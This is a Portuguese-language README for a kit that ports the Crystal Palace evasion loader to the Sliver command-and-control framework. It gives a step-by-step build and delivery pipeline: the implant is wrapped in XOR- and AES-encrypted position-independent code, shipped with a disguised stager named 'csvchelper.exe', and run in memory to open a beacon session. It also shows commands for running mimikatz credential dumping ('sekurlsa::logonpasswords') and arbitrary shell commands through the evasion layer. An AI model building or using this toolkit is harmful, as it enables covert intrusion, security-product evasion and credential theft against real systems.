Kit de evasão Crystal Palace para Sliver
Kit de evasão Crystal Palace portado para Sliver C2.
Este é o primeiro port público do Crystal-Kit (Cobalt Strike) do rasta-mouse para o Sliver. Ele segue o mesmo padrão cross-C2 comprovado pelo Crystal-Kit-Xenon (Mythic).
Substitui o loader reflexivo padrão do Sliver e o caminho de execução pós-ex pelo Crystal Palace (Raphael Mudge, BSD). O resultado é um blob de código independente de posição (PICO) que agrega:
LoadLibrary / GetProcAddress diretos)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryAA DLL do implante Sliver (ou qualquer DLL pós-ex) é mascarada com XOR dentro do PICO e só é desmascarada em memória no momento da execução.
A DLL bruta do implante Sliver nunca é executada diretamente no alvo. Em vez disso, ela é envolvida com Crystal Palace em um PICO, criptografada com AES-256-CBC e entregue com um stager personalizado (~17 KB) que a descriptografa e executa em memória.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
Com uma sessão ativa, execute DLLs sensíveis (recon, coletores de credenciais etc.) por meio do Crystal Palace via uma Extensão do Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Passe argumentos de runtime sem recompilar, acrescentando-os após |:
sliver > crystal --payload C:/path/file.pico.bin|args here
A crystal-loader.x64.dll é uma Extensão DLL do Sliver que lê o blob PICO do disco para uma região VirtualAlloc(RW), converte-a para RX com VirtualProtect e salta para o entrypoint do Crystal Palace. Nenhum mapeamento PAGE_EXECUTE_READWRITE é mantido. Os caminhos usam barras normais (/). O formato do argumento é type:string (não binário BOF). A DLL é carregada em memória pelo Sliver — ela não é gravada como arquivo no disco do alvo.
crystal-exec é um segundo comando incluído na mesma extensão. Ele executa comandos shell arbitrários por meio da evasão do Crystal Palace usando um PICO embutido diretamente na DLL da extensão — sem necessidade de enviar arquivo PICO.
sliver > crystal-exec --cmd "whoami /all"
A saída é retornada ao operador pela sessão Sliver existente via pipe. Este é o caminho mais rápido para comandos shell pontuais quando você não precisa de uma DLL pós-ex completa.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Consulte docs/RUNBOOK.md para o procedimento completo do operador (instalação do Sliver, configuração do listener, execução no alvo, solução de problemas).